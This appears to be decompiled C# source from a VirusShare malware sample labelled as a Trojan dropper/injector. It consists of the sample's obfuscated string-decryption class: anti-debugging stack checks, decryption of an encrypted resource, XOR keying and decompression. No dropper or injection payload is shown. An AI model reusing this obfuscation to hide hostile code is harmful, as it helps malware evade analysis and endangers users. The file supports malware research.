// Decompiled with JetBrains decompiler // Type:  // Assembly: crypted, Version=4.9.4.5, Culture=neutral, PublicKeyToken=null // MVID: 39ED6F8C-EF75-4E88-8706-EBD78B0ECCC1 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Injector.elwj-8012f8d9cbc27bdc5242e812bac1932349108916abac095e249196a1ff3b491d.exe using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.CompilerServices; using System.Text; internal static class \u000F { private static \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005 \u0002; private static \u000F.\u0002\u2007\u2007\u2002\u2003\u2001​​\u2003\u2003\u2008\u2003\u200A\u2007\u2006\u2008\u2009\u2005\u2009\u2006\u2003\u2001\u2004\u2004\u2006\u2009\u2001 \u0003; private static byte[] \u0005; private static short \u0008; private static int \u0006; private static byte[] \u000E; private static int \u000F; private static int \u0002\u2000; private static \u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005 \u0003\u2000; [MethodImpl(MethodImplOptions.NoInlining)] static \u000F() { int num1 = 1215076615; int num2 = num1 ^ -1631227178; \u000F.\u0002 = new \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005(11); int skipFrames = 1; StackTrace stackTrace = new StackTrace(skipFrames, false); int index = skipFrames - 1; StackFrame frame = stackTrace.GetFrame(index); int num3 = -~-~-~-~~-~(-876816457 - num1 - num2) ^ ~--~~-~-~(num1 ^ 1937821903 ^ num2); MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); if (frame != null) num3 ^= -~-~-~~--~~(2072203980 + num1 - num2); Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; int num4; if ((object) type == (object) typeof (RuntimeMethodHandle)) { num4 = num3 ^ (num1 ^ -1631227407 ^ num2) + index; \u000F.\u0003\u2000 = (\u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005) 4 | \u000F.\u0003\u2000; } else if ((object) type == null) { num4 = num3 ^ -~~--~-~~(1908546689 - num1 + num2); \u000F.\u0003\u2000 |= (\u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005) 1; } else if ((object) type.Assembly != (object) typeof (\u000F).Assembly) { num4 = num3 ^ num1 - 1256783823 ^ num2; \u000F.\u0003\u2000 = (\u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005) 2 | \u000F.\u0003\u2000; } else { \u000F.\u0003\u2000 |= (\u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005) 16; num4 = num3 ^ -~~--~-~~((num1 ^ -1631251223) - num2) - index; } \u000F.\u0002\u2000 += num4; } private static void \u0002(byte[] _param0, int _param1, byte[] _param2) { int num1 = 0; int num2 = 0; int num3 = 128; int length = _param2.Length; label_10: while (num1 < length) { if ((num3 <<= 1) == 256) { num3 = 1; num2 = (int) _param0[_param1++]; } if ((num2 & num3) != 0) { int num4 = ((int) _param0[_param1] >> 2) + 3; int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023; _param1 += 2; int num6 = num1 - num5; if (num6 < 0) break; while (true) { if (--num4 >= 0 && num1 < length) _param2[num1++] = _param2[num6++]; else goto label_10; } } else _param2[num1++] = _param0[_param1++]; } } [MethodImpl(MethodImplOptions.NoInlining)] internal static string \u0002(int _param0) { int num1 = 1232296797; int num2 = num1 - 105835718; lock (\u000F.\u0002) { string str1; byte[] numArray1; int num3; while (true) { str1 = \u000F.\u0002.\u0002(_param0); if (str1 == null) { int num4; if (\u000F.\u0003 == null) { Assembly executingAssembly = Assembly.GetExecutingAssembly(); Assembly.GetCallingAssembly(); \u000F.\u0006 |= -1934600334 - num1 ^ num2; Assembly assembly1 = executingAssembly; StringBuilder stringBuilder = new StringBuilder(); int num5 = (710792643 ^ num1) - num2; stringBuilder.Append((char) num5).Append((char) (num5 >> 16)); int num6 = 642714829 - num1 + num2; stringBuilder.Append((char) (num6 >> 16)).Append((char) num6); int num7 = 431043393 + num1 - num2; stringBuilder.Append((char) num7).Append((char) (num7 >> 16)); int num8 = num1 ^ 710677963 ^ num2; stringBuilder.Append((char) num8).Append((char) (num8 >> 16)); int num9 = 642714828 - num1 + num2; stringBuilder.Append((char) num9).Append((char) (num9 >> 16)); int num10 = 431158079 + num1 ^ num2; stringBuilder.Append((char) (num10 >> 16)).Append((char) num10); int num11 = -1398937094 - num1 - num2; stringBuilder.Append((char) num11).Append((char) (num11 >> 16)); string name = stringBuilder.ToString(); Stream manifestResourceStream = assembly1.GetManifestResourceStream(name); int skipFrames = 1; StackTrace stackTrace = new StackTrace(skipFrames, false); \u000F.\u0006 ^= num1 + 1936215890 + num2 | skipFrames; int index = skipFrames - 1; StackFrame frame = stackTrace.GetFrame(index); MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); \u000F.\u0006 ^= index + (num1 ^ 173487434 ^ num2); Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; if (frame == null) \u000F.\u0006 ^= 106055033 - num1 + num2; bool flag = (object) type == (object) typeof (RuntimeMethodHandle); \u000F.\u0006 ^= 173487466 ^ num1 ^ num2; if (!flag) { flag = (object) type == null; if (flag) \u000F.\u0006 ^= 1936428703 + num1 + num2; } if (flag == (stackTrace != null)) \u000F.\u0006 ^= 32; \u000F.\u0006 ^= -1936202918 - num1 - num2 | 1 + index; \u000F.\u0003 = new \u000F.\u0002\u2007\u2007\u2002\u2003\u2001​​\u2003\u2003\u2008\u2003\u200A\u2007\u2006\u2008\u2009\u2005\u2009\u2006\u2003\u2001\u2004\u2004\u2006\u2009\u2001(manifestResourceStream); short num12 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) -~~-~--~~-~(num1 - 105837518 ^ num2)); if (num12 == (short) 0) \u000F.\u0008 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~--~~-~-~((num1 ^ 173512391) - num2)); else \u000F.\u0005 = \u000F.\u0003.\u0002((int) num12); Assembly assembly2 = executingAssembly; AssemblyName assemblyName; try { assemblyName = assembly2.GetName(); } catch { assemblyName = new AssemblyName(assembly2.FullName); } \u000F.\u000E = assemblyName.GetPublicKeyToken(); if (\u000F.\u000E != null && \u000F.\u000E.Length == 0) \u000F.\u000E = (byte[]) null; int num13 = \u000F.\u0002\u2000; \u000F.\u0002\u2000 = 0; long num14 = \u0003\u2000.\u0002(); num4 = num13 ^ (int) (uint) num14 ^ num1 + 683398123 ^ num2 ^ -~-~-~-~~-~((num1 ^ -1899209790) + num2); \u000F.\u000F = num4; \u000F.\u0006 = \u000F.\u0006 & (57161352 + num1 ^ num2) ^ 105842506 - num1 + num2; if ((\u000F.\u0003\u2000 & (\u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005) -~~-~--~~-~(num1 + 1936209436 ^ num2)) == (\u000F.\u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005) 0) \u000F.\u0006 = 105879680 - num1 + num2; } else num4 = \u000F.\u000F; if (\u000F.\u0006 != (173424908 ^ num1) - num2) { int num15 = _param0 ^ (num1 ^ 347870005) + num2 ^ num4 ^ num1 - 412169109 ^ num2; \u000F.\u0003.\u0002().Position = (long) num15; if (\u000F.\u0005 != null) { numArray1 = \u000F.\u0005; } else { short num16 = \u000F.\u0008 != (short) -1 ? \u000F.\u0008 : (short) ((int) \u000F.\u0003.\u0002() ^ (-173512999 ^ num1) + num2 ^ num15); if (num16 == (short) 0) { numArray1 = (byte[]) null; } else { numArray1 = \u000F.\u0003.\u0002((int) num16); for (int index = 0; index != numArray1.Length; ++index) numArray1[index] ^= (byte) (\u000F.\u000F >> ((3 & index) << 3)); } } num3 = \u000F.\u0003.\u0002() ^ num15 ^ -~-~-~~-~-~(num1 - 191716227 ^ num2) ^ num4; if (num3 == (num1 ^ -173487558) + num2) { byte[] numArray2 = \u000F.\u0003.\u0002(4); _param0 = 259405991 - num1 - num2 ^ num4; _param0 = ((int) numArray2[2] | (int) numArray2[3] << 16 | (int) numArray2[0] << 8 | (int) numArray2[1] << 24) ^ -_param0; } else goto label_33; } else goto label_23; } else break; } return str1; label_23: return new string(new char[3] { (char) (1936209508 + num1 + num2), '0', (char) (-1936209332 - num1 - num2) }); label_33: bool flag1 = (num3 & (num1 ^ -1973996086) - num2) != 0; bool flag2 = (num3 & 642706630 - num1 + num2) != 0; bool flag3 = (num3 & (num1 - 1179577542 ^ num2)) != 0; int num17 = num3 & num1 - 2090322421 + num2; byte[] numArray3 = \u0002\u2000.\u0002(numArray1, \u000F.\u0003.\u0002(num17)); if (\u000F.\u000E != null != (\u000F.\u0006 != (-1934605970 - num1 ^ num2))) { for (int index = 0; index < num17; ++index) { byte num18 = \u000F.\u000E[index & 7]; byte num19 = (byte) ((int) num18 << 3 | (int) num18 >> 5); numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num19); } } int num20 = \u000F.\u0006 - 12; int length; byte[] bytes; if (!flag2) { length = num17; bytes = numArray3; } else { length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24; bytes = new byte[length]; \u000F.\u0002(numArray3, 4, bytes); } string str2; if (flag3 && num20 == num1 + 1937817222 + num2) { char[] chArray = new char[length]; for (int index = 0; index < length; index = 1 + index) chArray[index] = (char) bytes[index]; str2 = new string(chArray); } else str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length); int num21 = num20 + ((num1 ^ 173487179) - num2 + (3 & num20) << 5); if (num21 != (num1 - 104228176 ^ num2)) { int num22 = num17 + _param0 ^ (num1 ^ -174423876) + num2 ^ num21 & (num1 - 105836483 ^ num2); ref int local = ref num22; StringBuilder stringBuilder = new StringBuilder(); int num23 = -1936209332 - num1 - num2; stringBuilder.Append((char) (byte) num23); string format = stringBuilder.ToString(); str2 = local.ToString(format); } if (!flag1) { str2 = string.Intern(str2); \u000F.\u0002.\u0002(_param0, str2); if (\u000F.\u0002.\u0002() == 11) { \u000F.\u0003.\u0003(); \u000F.\u0003 = (\u000F.\u0002\u2007\u2007\u2002\u2003\u2001​​\u2003\u2003\u2008\u2003\u200A\u2007\u2006\u2008\u2009\u2005\u2009\u2006\u2003\u2001\u2004\u2004\u2006\u2009\u2001) null; \u000F.\u0005 = \u000F.\u000E = (byte[]) null; } } return str2; } } private enum \u0003\u2005\u2000\u2008\u2008\u2000\u200A\u2002\u2002\u2002\u2005 { } private sealed class \u0002\u2007\u2007\u2002\u2003\u2001​​\u2003\u2003\u2008\u2003\u200A\u2007\u2006\u2008\u2009\u2005\u2009\u2006\u2003\u2001\u2004\u2004\u2006\u2009\u2001 { private Stream \u0002; private byte[] \u0003; public \u0002\u2007\u2007\u2002\u2003\u2001​​\u2003\u2003\u2008\u2003\u200A\u2007\u2006\u2008\u2009\u2005\u2009\u2006\u2003\u2001\u2004\u2004\u2006\u2009\u2001( Stream _param1) { this.\u0002 = _param1; this.\u0003 = new byte[4]; } public Stream \u0002() => this.\u0002; public short \u0002() { this.\u0002(2); return (short) ((int) this.\u0003[0] | (int) this.\u0003[1] << 8); } public int \u0002() { this.\u0002(4); return (int) this.\u0003[0] | (int) this.\u0003[1] << 8 | (int) this.\u0003[2] << 16 | (int) this.\u0003[3] << 24; } private void \u0002() => throw new EndOfStreamException(); private void \u0002(int _param1) { int offset = 0; if (_param1 == 1) { int num = this.\u0002.ReadByte(); if (num == -1) this.\u0002(); this.\u0003[0] = (byte) num; } else { do { int num = this.\u0002.Read(this.\u0003, offset, _param1 - offset); if (num == 0) this.\u0002(); offset += num; } while (offset < _param1); } } public void \u0003() { Stream stream = this.\u0002; this.\u0002 = (Stream) null; stream?.Close(); this.\u0003 = (byte[]) null; } public byte[] \u0002(int _param1) { byte[] numArray = _param1 >= 0 ? new byte[_param1] : throw new ArgumentOutOfRangeException(); int length = 0; do { int num = this.\u0002.Read(numArray, length, _param1); if (num != 0) { length += num; _param1 -= num; } else break; } while (_param1 > 0); if (length != numArray.Length) { byte[] dst = new byte[length]; Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 0, length); numArray = dst; } return numArray; } } [DefaultMember("Item")] internal sealed class \u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005 { private \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[] \u0002; private int \u0003; public \u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005() => this.\u0002 = new \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[16]; public \u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005( int _param1) { int length = 16; _param1 <<= 1; while (length < _param1 && length > 0) length <<= 1; if (length < 0) length = 16; this.\u0002 = new \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[length]; } public int \u0002() => this.\u0003; private void \u0002() { \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[] objArray1 = this.\u0002; int length1 = objArray1.Length; int length2 = length1 * 2; if (length2 <= 0) return; \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[] objArray2 = new \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[length2]; int num1 = 0; for (int index1 = 0; index1 < length1; ++index1) { string str = objArray1[index1].\u0003; if (str != null) { int num2 = objArray1[index1].\u0002; int index2 = num2 & length2 - 1; while (objArray2[index2].\u0003 != null) { ++index2; if (index2 >= length2) index2 = 0; } objArray2[index2].\u0003 = str; objArray2[index2].\u0002 = num2; ++num1; } } this.\u0002 = objArray2; this.\u0003 = num1; } public string \u0002(int _param1) { \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[] objArray = this.\u0002; int length = objArray.Length; int index = _param1 & length - 1; string str = (string) null; while (objArray[index].\u0002 != _param1) { if (objArray[index].\u0003 != null) { ++index; if (index >= length) index = 0; } else goto label_6; } str = objArray[index].\u0003; label_6: return str; } public void \u0002(int _param1, string _param2) { \u000F.\u0005\u2009\u2005\u2006\u2005\u2009\u2009\u2003\u200A\u2008\u2008\u200A\u2000\u200A\u2007\u2009\u2009\u2009\u2008\u2003\u2003\u200A\u2005.\u0002[] objArray = this.\u0002; int length = objArray.Length; int num1 = length >> 1; int index = _param1 & length - 1; while (true) { do { int num2 = objArray[index].\u0002; bool flag = objArray[index].\u0003 == null; if (num2 == _param1 || flag) { objArray[index].\u0003 = _param2; if (!flag) return; objArray[index].\u0002 = _param1; ++this.\u0003; if (this.\u0003 <= num1) return; this.\u0002(); return; } ++index; } while (index < length); index = 0; } } private struct \u0002 { public int \u0002; public string \u0003; } } }